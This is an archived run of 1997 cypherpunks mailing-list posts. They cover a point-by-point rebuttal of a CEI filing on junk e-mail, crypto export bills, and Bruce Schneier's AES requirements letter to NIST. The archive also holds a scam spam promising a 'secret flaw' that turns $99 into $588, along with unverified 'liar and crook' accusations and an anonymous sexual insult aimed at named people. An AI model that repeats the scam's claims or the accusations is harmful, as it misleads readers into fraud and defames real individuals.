> ought to be more explicit about their information collection
> policies.  However, those companies which do take extra steps in
> this regard frequently tout it.  In short, those consumers most
> concerned about data collection already have one way of satisfying
> that preference, without resorting to government intervention.

Which way was that?  Choosing only marketers who say they won't 
resell information?  What if they lie?

> FTC Question 2.16: How widespread is the practice of sending
> unsolicited e-mail?  Are privacy or other consumer interests
> implicated by this practice?  What are the sources of e-mail
> addresses used for this purpose?
> 
> Unsolicited e-mail is very similar to junk mail in the context of
> "privacy."  Many people find it annoying, especially since junk
> e-mail shifts the cost from the sender to the recipient, who pays
> in time and money. However, enough people like it and take
> advantage of it that the practice continues.

No, the cost of sending the advertisement in the first place is low 
enough that the practice continues.  Typical response to a junk 
emailing is about 20% of receivers will reply with hate, the majority 
will ignore it, and fewer than .1% will respond favorably.

This CEI statement is grossly misinformed or simply lying.

> E-mail marketers often harvest names through data mining -
> collecting e-mail addresses from newsgroup posts and chat rooms. It
> is clear that many consumers do not like this, but it is not clear
> why this practice should be made illegal, as opposed to being
> simply irritating.

It's an irritation that government has the power to stop; and

Nothing short of government action will stop it; and

Government action will not cause any collateral damage.

Seems like a perfect case for government action to me.


> As previously noted, people who venture out into those chat rooms
> and newsgroups are going out into public. E-mail put out into these
> areas is public property,

Au contraire.  Saying such a thing does not make it so.  Public 
property?  No.

> much as an engagement announcement would be. Therefore, someone
> collecting lists of names and sending out junk e-mails is acting
> perfectly legitimately.  There is no way for a data collector (or
> even another participant) to know in advance who would like to hear
> about something or not.

It's safe to assume the majority do not.  That's true with 100% 
certainty.  Yet this paper attempts to say the consumer is being done 
a service.

> The combination of what is wanted and what is unwanted is different
> for everyone.

I don't want anything that is completely unsolicited trying to 
sell me stuff.  This is true for 99% of the human race.

> Many people object to the costs of paying for unwanted e-mail (e.g.
> charges per e-mail received, line charges incurred while using the
> e-mail function).  That is perfectly understandable.  But if you do
> not wish to be put on a list, the responsibility is yours to avoid
> it.

It's not companies' responsibility to not call you at 3AM - it's your 
responsiblity to not have the phone on the hook!

> Fortunately, there are already  options available.  Most of
> the major Internet providers - AOL, Prodigy, CompuServe - already
> have banned junk mailings.   This provision of what some see as a
> valuable service is perfectly legitimate as well.  In addition, AOL
> also permits people who participate in chat rooms to use up to five
> false names.  Along with the ease of finding anonymizers to surf
> the Web, "going incognito" has never been so easy to do.

They know as well as anyone that the "default" is to reveal plenty of 
information, and few users will stray from that.

They also know that neither AOL nor Prodigy nor Compuserve have 
"banned" junk emailings.  They are lying, yet again.  What the online 
services have done is take action against a certain junk emailer who 
was reducing the usefulness of their email systems with the 
volume of junk mail inflicted.

> As the Washington Post aptly noted, "Psychologically, the more
> interesting question is why folks who long since gave up the
> attempt to stop mass telemarketing or ordinary
> delivered-to-the-door junk mail find it so much more immediately
> threatening to receive mail that can be deleted at the touch of a
> button."

Mass telemarketing is far from illegal.  It is regulated to avoid the 
extreme abuses which occur with 100% certainty when businesses 
see a chance to make money.  As should junk emailing.

> FTC Question 2.18: What costs does unsolicited commercial e-mail
> impose on consumers or others?  Are there available means of
> avoiding or limiting such costs?  If so, what are they?
> 
> The wording of the question suggests that the FTC believes that the
> primary cost of unsolicited e-mail is "privacy."

Translation: we would like to avoid a discussion of the very real 
dollar costs imposed upon unsuspecting email recipients.  The wording 
of the question suggests no such thing, but that's what we'd like to 
talk about.

>  Once again, "privacy" is a preference.

Forgot that Fourth Amendment again, eh?

> Therefore, junk e-mail is a cost only to those who personally
> object to data collection.  It might be useful to look at this
> situation in a different way.

Unless you count such mundanities as time and dollars as "costs".  
Funny how these pro-business types are great at accounting usually, 
but forget all that when it comes to making these statements.

> In addition, clamping down on data collection will hurt smaller
> companies and non-profits, who might find this data collection
> useful in finding new customers or members.  Well-known
> non-profits, for example, receive a great deal of publicity and
> exposure in the general media; how many other, smaller groups would
> like to find people interested in their work via the Internet?

Wave the non-profit flag to disguise the HUGE profit-seeking behemoth 
out there.  Great.  As if I'd ever help aa non-profit who spammed me.

> One of the biggest objections to data collection is its awesome
> speed.  But this is not a sufficient basis for regulation; it is an
> extension of objections to data collection in general.

Actually, it is.  The abuses become significantly greater and 
therefore more of a concern to government.

> Use of data collection technology makes information cheaper and
> more available to a variety of groups, from non-profits to
> associations dedicated to one or another hobbies or interests.

As if that would account for .00000001% of the use.

> As Esther Dyson put it, "The goal is a market in privacy practices.
>  That will result in constantly improving standards rather than
> rigid ones set by law, and in decentralized, speedy enforcement"
> (emphasis in original). 

You know how this "market" will go?  Businesses willget together, say 
"Hey, there's no point fighting over this, let's just standardize on 
full consumer disclosure.  It will help all of us."  and that will be 
it, no more market.


-- Michael Sims





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 22:00:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
Message-ID: <T23q6D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@well.com> writes:

> My lord, I'm agreeing with Jim Bell!

Declan is showing promise.

> Right now, no controls exit on domestic crypto, though strict export
> controls are in place.
>
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)

Most folks who are trying to sell crypto products will say YES.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 22:00:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Query: Who has left the U.S. to evade the law?
In-Reply-To: <Pine.GSO.3.95.970425201315.13101B-100000@well.com>
Message-ID: <DD4q6D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@well.com> writes:

> An associate is trying to find an American who left the country to operate
> a high-tech business, possibly illegal, outside the U.S. to evade American
> laws. Think hacking/cracking, money laundering, child porn, black market.
> This is for a profile in _Details_ magazine.  Any tips? My friend is
> discreet and trustworthy and lives in New York City.

If your "friend" is Charlie Platt, you should stay away from him -
Charlie is a liar and a crook.

Now, what was the name of that guy in Antigua...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 26 Apr 1997 00:52:18 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: SNL/NSA Crypto Security
Message-ID: <3.0.32.19970426004013.0076cb80@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:57 PM 4/21/97 -0400, John Young wrote:
[...]
>One affidavit cites Payne's claim to knowing how to "easily 
>break public key encryption" but refused to tell NSA, thus
>harming SNL's customer relations.
>
>http://jya.com/nsasuit4.htm

Indeed. Let's try to get a copy of the draft mentioned in the affidavit:
" 20. Also included with the letter to Professor Fushimi was a draft
document written by plaintiff Payne entitled a "Public Key Encryption Is
Easily Broken." No member of Dr. Payne's management was advised of his plan
to release this document and Sandia had no opportunity to inform NSA of his
plans. "




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "bambi@mail.vdocam.com" <bambi@vdocam.com>
Date: Sat, 26 Apr 1997 10:35:23 -0700 (PDT)
To: bambi@vdocam.com
Subject: zzzt, scirching
Message-ID: <199704261715.RAA27761@mail.vdocam.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 26 Apr 1997 07:42:51 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query: Who has left the U.S. to evade the law?
In-Reply-To: <DD4q6D12w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970426103727.12620A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't confirm or deny whether my associate is Charles, but I will say
that he is not a liar nor a crook. Far from it.

I vaguely remember a flamewar between you two on cypherpunks a few months
back, centering around how you got kicked off of an ISP, so perhaps that
explains your animus towards him. 

-Declan


On Sat, 26 Apr 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@well.com> writes:
> 
> > An associate is trying to find an American who left the country to operate
> > a high-tech business, possibly illegal, outside the U.S. to evade American
> > laws. Think hacking/cracking, money laundering, child porn, black market.
> > This is for a profile in _Details_ magazine.  Any tips? My friend is
> > discreet and trustworthy and lives in New York City.
> 
> If your "friend" is Charlie Platt, you should stay away from him -
> Charlie is a liar and a crook.
> 
> Now, what was the name of that guy in Antigua...
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 26 Apr 1997 10:44:45 -0700 (PDT)
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <3.0.32.19970426015419.00720cc8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:13 AM 4/25/97 -0700, Ernest Hua wrote:
>Let's let the legislative process (whatever you think of it) take its
>course.  I'll be happy even if they sneak some screwy secret committee
>on the final bill, as long as we are not subject to that committee or
>any other governmental body just because we allow ftp of C source code
>by our off-shore friends.

I think this is a dangerous position to take... make that fatal. The code
is already being ftp'ed out of the US. The law would gain you little. But
the new restrictions/enhanced penalties, which will inevitably be included
in any crypto bill that might become law, will set us back severely.
Personally, I hope that none of the crypto bills pending gets passed.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 26 Apr 1997 09:42:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Query: Who has left the U.S. to evade the law?
In-Reply-To: <Pine.GSO.3.95.970426103727.12620A-100000@cp.pathfinder.com>
Message-ID: <wN1R6D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@pathfinder.com> writes:

> I can't confirm or deny whether my associate is Charles, but I will say
> that he is not a liar nor a crook. Far from it.

Charles Platt is a liar and a crook.  Ask his former business partners
in the "Cryocare foundation". Re-read the bullshit that he's been posting
to this mailing list. Re-read his sick sexual fantasies on alt.torture.

> I vaguely remember a flamewar between you two on cypherpunks a few months
> back, centering around how you got kicked off of an ISP, so perhaps that
> explains your animus towards him.

Charles Platt claimed that I was kicked off panix.com for "theft of
services". He posted this lie to cypherpunks, to Declan's "fight
censorship" mailing list, and several other forums. Platt's claim is
an outright lie, like everything else he says. Yes, there used to
be an account "vulis@panix.com", used mostly by my wife. We didn't
like Panix's service, so we stopped paying for it, and the account
was closed in October 96. We fired Panix. If Panix thinks we owe
them something for their service, let them speak up.

Declan's credibility as a journalist is severely hurt by his association
with the proven liar and a crook - Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Sat, 26 Apr 1997 10:28:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: AES Comments
Message-ID: <v03007802af87eb708bce@[206.11.192.175]>
MIME-Version: 1.0
Content-Type: text/plain


26 April 1997


Director, Computer Systems Laboratory
Attn: FIPS for AES Comments
Technology Building, Room A231
National Institute of Standards and Technology
Gaithersburg, MD 20899


				RE: Advanced Encryption Standard (AES)


Dear Mr. Director:

This letter is to offer additional advice subsequent to the 15 April 1997
meeting at NIST, "Developing the Advanced Encryption Workshop." I
appreciate your institute's efforts to develop an AES, and am pleased that
you recognize the importance of this task.

Much of the discussion at the 15 April meeting centered around the "Minimum
Acceptability Requirements" and the "Evaluation Criteria" for the AES.
These are important metrics: good Evaluation Criteria will ensure that the
best algorithm is selected as the AES, while good Minimum Acceptability
Requirements will limit the submissions to high-quality ones.

At the meeting you repeatedly stated that you intend that AES will be a
standard for 20-30 years.   To me, this means that the algorithm will be
used in legacy applications for at least another ten, securing information
that may be required to be confidential for yet another ten.  Assuming we
have a standard approved by the year 2000, the AES must be secure through
the year 2050.

We need to look at AES requirements with this in mind.

Clearly, any algorithm approved for the AES must be secure.  The difficulty
will be choosing among several secure algorithms.  In this letter, I would
like to ignore the important problem of deciding if an algorithm is secure
(and if it will remain secure through the year 2050), and concentrate on
the non-cryptographic requirements.

At the meeting we discussed both flexibility and efficiency: what they
mean, how important they are, and how to compare.

Evaluating encryption algorithms on 32-bit processors such as the Pentium
seems short-sighted for such a long-lasting standard.  Just as the DES,
designed for dedicated hardware in the mid 1970s, is inefficient on any
modern processor, any AES designed for today's computer architectures will
be inefficient on whatever is used 20 years from now.

That isn't much of a problem, though.  Programmers have spent long hours
optimizing DES for different architectures.  And computing power still
doubles every eighteen months: any algorithm becomes ten times faster just
by waiting five years.  Everything is fast on the 64-bit DEC Alpha.

The difficulty is in the low end: embedded systems, smart cards.  The
lesson of the past 20 years of computing seems to be that while the high
end always gets better, the low end never goes away.  We're still
programming tiny 8-bit microprocessors; instead of being used in desktop
computers, they're in cellular phones, automobiles, electrical meters, and
smart cards.  These processors will be around for a long time to come, in
Dick-Tracy-like wristwatch communicators, small affixable processors
(Micron is building the technology), and who knows what else
(nanotechnology?).

The AES should be efficient on the low-end processors that are around
today, and be scalable to 16-, 32-, and 64-bit processors.  And think fast;
almost anything written today is faster than triple-DES (see table below).
Encryption at 16 clock cycles per byte; that takes real work.


				     Clock Cycles per
		Algorithm	     Byte Encrypted
		Name		     on a Pentium

		SEAL (stream)		   4
		RC4 (stream)		   7
		Blowfish		  18
		Khufu			  20
		RC5 (16 rounds)	  	  23
		DES			  45
		IDEA			  50
		Triple-DES		 108


With this in mind, I propose a set of Minimum Acceptability Criteria that
pushes the envelope of current encryption algorithms:

	A variable key, supporting (at least) a 128- and 256-bit key .

	Both block modes and a stream modes, with the steam modes at least
five times faster than the block modes.

	Block modes with a 128-bit block.

	A standard hash-function mode.

	A standard MAC (Message Authentication Code) mode.

	Variability in the algorithm to provide a family key for different
applications.

	Encryption speeds (in clock cycles per byte encrypted):

		No more than 64 on an 8-bit smart card with a 128-bit key.

		No more than 32 on a 16-bit processor with a 128-bit key.

		No more than 16 on a Pentium, Pentium Pro, PowerPC, or DEC
Alpha with a 128-bit key.

		No more than double with a 256-bit key on any platform.

	Encryption and decryption speeds within 10% of each other.

	Key setup no more than 5 times the speed to encrypt one block for a
128-bit key, and no more than 10 times encryption speed for a 256-bit key.

	Implementable in hardware with a total table size of less than 256
bytes.

	Hardware encryption throughput of one block per clock cycle (given
enough gates), with a maximum latency of 16 clock cycles.

	Minimum RAM requirements (RAM only, not code or tables) of no more
than 64 bytes on an 8-bit smart-card processor.

	Minimum table size of no more than 256 bytes on an 8-bit smart-card
processor.

These requirements are not easy to meet.  As far as I know, no published
block cipher meets them all (although some come close in many areas).  But
requirements such as these will challenge the world's cryptographic
research organizations to create something useful.

I know you realize that the selection process will take several years to
complete.  Therefor, I urge you to approve triple-DES as an interim
standard.  This will satisfy users who need a 64-bit block cipher for
compatibility reasons, while allowing you the time required to choose and
approve the best AES you can.

I applaud your efforts in this matter, and I look forward seeing your call
for submissions in the Federal Register


Sincerely,



Bruce Schneier

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 26 Apr 1997 13:40:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Staale & Elm
Message-ID: <TCPSMTP.17.4.26.-16.29.48.2780269260.1618548@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Howdy :)

1. Does anybody know, what happened to the International
PGP-Homepage (http//www.ifi.uio.no/PGP/)? It comes up as "Link not
found" (?!)
Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
to be gone...

2. A friend of mine is using Linux and Elm. I recently got her to
use PGP, but the poor thing does everything manually via command
lines. Can anybody recommend some good front-end's available for
Linux-Elm?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Want to use PGP? --> http://bureau42.base.org/public/pgpsteps.txt

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2JpPTltEBIEF0MBAQGnHwf9FEKh2mDV3xLhfeCX4UG823cB34qXyEl5
zyh2OeVwN8U21H2Vq09vv0OMKR4ObLRRA6xKRtQgRsSDZUEnsWvfp+O5tD7MRlvo
CWH+TbPufzYsLXs6HtGVU6i8ImvN75WY7VuE1+cyYCzscR8M2l0wGlNGdnhvPg0X
HQ7EZsLbcppdq8G73jBpoviLWxWD5JjjTmEbBg2yMI8stx84WwzcYy/LGj9nTc0t
J4jFUcvT4RDWwWveiGY4vHrAe2338VQARmBDpsItAaWDYbMU7TJQoJ8OF73/iYoJ
tRg3S0cuUFwzvJPGpvWEsDJHOlsQGg06WjVSgRfxeNaeEK5w3bOthA==
=rDLZ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 26 Apr 1997 13:46:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: International PGP page
Message-ID: <TCPSMTP.17.4.26.-16.40.4.2780269260.1618556@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hmm, now it's back again...strange.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2JqqzltEBIEF0MBAQHIpwf/U5SJoAkWezR046gMqddmsSCA28sDzJiD
5kJmCkgSq8qhnr79jOtdk8uvHailW++Xx/kDtvXkk8YpmJV1ALaSdrPTuN+TCnGS
xx0aDm2ju5FuUdzeP0zcp6UJPAKZgmvy5tEue5j47mxzN/iBqzxW9m409ovJWWVs
fWk+/Ga+LlbMKwE0pqV83GVbaVkEiIu/ZfmwIHLf8q/Y2YFpEMEM+AgYKbX+RZJd
+jT4s35CdXUP0ia1FepfuLHnxf/mtVJTLqiZhd3bErKxS9XeHUjufh7jcLes2izl
cziaUk9LnWoUg9wdbnXzkyMmAVd48quPxU3QOpfx16aUPa+oTanYig==
=+nsL
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CALL@TOLL.FREE
Date: Sat, 26 Apr 1997 15:10:22 -0700 (PDT)
To: 9.9longdistance@usa.net
Subject: >>> 9.9  LONG  DISTANCE <<<
Message-ID: <9.93longdistance@usa.net>
MIME-Version: 1.0
Content-Type: text/plain


=================================
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tz@execpc.com
Date: Sat, 26 Apr 1997 15:51:43 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
Message-ID: <97Apr26.185020edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 25 Apr 1997, Declan McCullagh wrote:

> My lord, I'm agreeing with Jim Bell!
> 
> Right now, no controls exit on domestic crypto, though strict export
> controls are in place.
> 
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)
> 
> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
> progeny, while we keep our freedoms domestically. 
> 
> -Declan

I emailed Rep Goodlatte, but didn't get a response about this issue.  My
main problem is that it becomes a felony to use encryption for anything
that can be prosecuted if I take the legalese literally.  So if I have a
GSM cell phone in a car that is illegally parked, it seems that I would
fall under the definition.

I would mind it less if, 1. There had to be a conviction for the main
crime.  2. The main crime must be a serious felony (i.e. something far
worse than a single overdrawn check).  3. The penaly for using encryption
in furtherance should be less than that for the main crime.  4. encryption
had to play an intrinsic role in the main crime.  5. It must go beyond
common, everyday uses of encryption.

tz@execpc.com
finger tz@execpc.com for PGP key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 26 Apr 1997 16:43:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
Message-ID: <199704262343.TAA15392@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 21 Apr 1997 09:13:49 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Cc: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
Sender: owner-cypherpunks@toad.com

I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 21 Apr 1997, Huge Cajones Remailer wrote:

> Timmy May is a licenced sexual pervert who wears Graham-John Bullers' 
> underwear.
> 
>  .   ___ o Timmy May
>  ^z\/o\ o
>  ^z/\_~_/
>  '   '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 26 Apr 1997 20:49:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <199704251813.LAA18728@server1.chromatic.com>
Message-ID: <199704270244.TAA07840@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Ernest Hua wrote:
> 
> > It also creates new criminal penalties for using encryption to
> > further a criminal act ...  Remember that Maryland bill that would
> > criminalize sending "annoying" or "harassing" email? If the
> > Goodlatte bill became law, Marylanders who signed their messages
> > with PGP or telnetted to local ISPs could be slammed with an
> > all-expenses-paid trip to the Federal pen for five years ...  In
> > other words, SAFE would turn state misdemeanors into Federal
> > felonies.  This is not good.
> 
> Ok.  So it's kind of bad in this respect, but let's face it ... we
> can't have everything OUR way, the FIRST time around.  Washington
> politics is just not that way (not that you need such a reminder).

Are you kidding? With the exception of export controls, we DO have
it our way now. If we let them have it at all, we will NEVER have
it our way. Any legislation at all, no matter what it says, is bad.

> 
> > A coalition of groups is sending a letter to Goodlatte tomorrow 
> > supporting the bill but expressing concern over the criminalization 
> > provision. Interested in signing on? Email David Sobel: 
> > sobel@epic.org.
> 
> Let's let the legislative process (whatever you think of it) take its
> course.  I'll be happy even if they sneak some screwy secret committee
> on the final bill, as long as we are not subject to that committee or
> any other governmental body just because we allow ftp of C source code
> by our off-shore friends.

Under no circumstances should any right or liberty be sacrificed so that
we can export crypto. One of the principal reasons for export control
is to prevent the widespread deployment of strong crypto IN the U.S.
It seems they are willing to lift export controls if we all lie down
and let them impose controls on domestic use. No thanks. Fuck RSA. 
Fuck Netscape. Fuck M$. I'm not gonna give up my ability to use crypto
so they can make more money.

-- Mr. E





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Exchange@CurrencyCartel1.com
Date: Sat, 26 Apr 1997 23:46:18 -0700 (PDT)
To: Exchange@CurrencyCartel1.com
Subject: " A Very IMPORTANT Announcement " !
Message-ID: <9704270640.AN10291@ns.dmi.net>
MIME-Version: 1.0
Content-Type: text/plain



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

            ''''''''''''''''''''  A VERY IMPORTANT ANNOUNCEMENT '''''''''''''''''''''''''
                                ' Your Future May Depend On it '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Before you should know what the 'Important Announcement' is, please read the
following 'Editorial Excerpts' from some important publications in the U.S.A.

New York Times:
''''''''''''''''''''''''''''''''''''''''''''''''   " In concluding our review of Financial Organizations to
effect change in the 90's, special  attention should  be called to the  ' World 
Currency Cartel ' based in California. Members of this organization are amassing 
hundreds of millions of dollars in the currency market using a very LEGAL method
which has not been divulged to the general public. While their purpose, if any, is 
not yet known, their presence has most certainly been felt ".

ABC Nightly News:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''   "Members of the World Currency Cartel are among the most
                                          powerful & wealthiest people in this hemisphere".

Dear Friend:

More Excerpts later, but first let us give you this Important Announcement:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
We are glad to announce that for the very first time and for a short time only, the 
World Currency Cartel will instruct a LIMITED number of people worldwide HOW 
TO CONVERT $25 INTO ONE HUNDRED OF LEGAL CURRENCY. We will tran-
sact the first conversion for you, after that you can easily and quickly do this on 
your own hundreds or even thousands of times each month, month after month! 
Take advantage of the SECRET FLAW !
                       '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
It is even more explosive  than we have  yet  disclosed.  While currency does 
fluctuate  daily, we can show you  HOW TO CONVERT $99  INTO  $588 as
many time as you want ! That means YOU WILL BE ABLE TO EXCHANGE $99 
AMERICAN LEGAL CURRENCY DOLLARS FOR $580 OF THE SAME, and you
can do this  AS MANY TIMES AS YOU WANT, every day, every week , every 
month!!         ALL VERY LEGALLY & EFFORTLESSLY !!!
                 '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
It only takes about 8 to 12 minutes each time you do this. You can do this from 
your home, office or even while travelling. All you need is an access to any phone 
line and an address and you can do this from ANY CITY ON THIS EARTH.

Again, we must reiterate:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  Anyone can do this and the source is Never-Ending. 
For as long as the global financial community  continues  to use different 
currencies with varying exchange rates, the 'SECRET FLAW' will exist.
                                                                ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
We at the World Currency Cartel would like to see a uniform global currency 
backed by Gold. But, until then, we will allow a LIMITED number of individuals
WORLDWIDE to share in the Unlimited Profits provided for by the world paper
currency differentials.

We will espouse no more political views nor will we ask you do so. We can 
say however,  that our parent organization 'Diamond International' benefits 
greatly by the knowledge being shared as we ourselves ALONG WITH YOU
benefit likewise. Your main CONCERN, however, will be How you benefit.

In a short time with NO investment or training, you will be a Currency Exchange 
Expert  who can make transactions from your home, by telephone or through 
the mail.         NO ONE CAN STOP YOU FROM EARNING HUNDREDS OF 
                     '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                      THOUSANDS, EVEN MILLIONS EACH YEAR AS LONG AS 
                     '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                      THE 'SECRET FLAW' EXIST !
                     ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
The amount of exchange you would do each time is entirely upto you. Working 
just 2 to 3 hours a week, you can soon join the list of other  MILLIONAIRES 
who does this on a daily basis and many many times a day! The transactions 
are so simple that a high school kid can do this!!     
